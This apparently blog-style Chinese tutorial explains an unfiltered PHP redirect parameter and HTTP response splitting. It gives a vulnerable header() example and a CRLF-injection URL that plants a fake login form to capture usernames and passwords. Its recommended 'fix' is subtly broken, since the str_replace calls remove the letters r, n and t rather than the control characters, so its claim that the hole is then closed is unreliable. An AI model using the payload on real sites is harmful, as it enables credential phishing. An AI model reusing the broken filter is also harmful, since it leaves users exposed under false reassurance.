首先我們分析 360 提供的漏洞頁面地址"/?r=XXXXX"馬上就可以發現問題,? 號碼後面是 r=XXXX 這個 r= 就是問題的所在了,在 PHP 當中這個 GET 形式的請求(在連結中直接表現出來的請求)一般都要過濾一些文字防止被入侵,而這個就沒有做這個操作,那麼我們找到了入口,就開始查看代碼吧,在全站中的所有檔案中尋找 $_GET['r'],如果你知道你的網站是哪個檔案出現問題也可以直接去搜尋這個檔案,單引號中的 r 代表的是連結中 ?r= 中的 r,可以根據自己的要求修改。
馬上就發現了問題:
$redirect = $_GET['r'];
圖片中的代碼把 $_GET['r'] 直接給了 $redirect 變數,簡單的說現在 $redirect 就是 $_GET['r'] 了,一般情況下都是要這樣寫的,當然,變數的名稱可能會有變,既然找到了問題出處,那麼我們就只用過濾這個變數的內容就好啦。
PHP
$redirect = trim(str_replace("r","",str_replace("rn","",strip_tags(str_replace("'","",str_replace("n", "", str_replace(" ","",str_replace("t","",trim($redirect))))),""))));
直接複製上面的所有代碼到 $redirect = $_GET['r'];
下面就好啦,現在再次檢查網站就不會出現這個問題了,希望大家看得懂,變數名稱可以根據自己的需要更換哦
HTTP響應拆分攻擊
HTTP響應拆分是由於攻擊者經過精心設計利用電子郵件或者連結,讓目標使用者利用一個請求產生兩個響應,前一個響應是伺服器的響應,而後一個則是攻擊者設計的響應。此攻擊之所以會發生,是因為WEB程式將使用者的資料置於HTTP響應表頭中,這些使用者的資料是有攻擊者精心設計的。
可能遭受HTTP請求響應拆分的函數包括以下幾個:
header(); setcookie(); session_id(); setrawcookie();
HTTP響應拆分通常發生在:
Location表頭:將使用者的資料寫入重新導向的URL地址內
Set-Cookie表頭:將使用者的資料寫入cookies內
執行個體:
<?php
header("Location: " . $_GET['page']);
?>
請求
GET /location.php?page=http://www.00aq.com HTTP/1.1?
Host: localhost?
?
返回
HTTP/1.1 302 Found
Date: Wed, 13 Jan 2010 03:44:24 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Location: http://www.00aq.com
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
訪問下面的連結,會直接出現一個登陸視窗
http://localhost/location.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%20158%0d%0a%0d%0a
轉換成可讀字串為:
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 158
<html><body><form method=post name=form1>帳號 <input type=text name=username /><br />密碼 <input name=password type=password /><br /><input type=submit name=login value=登入 /></form></body></html>
一個HTTP請求產生了兩個響應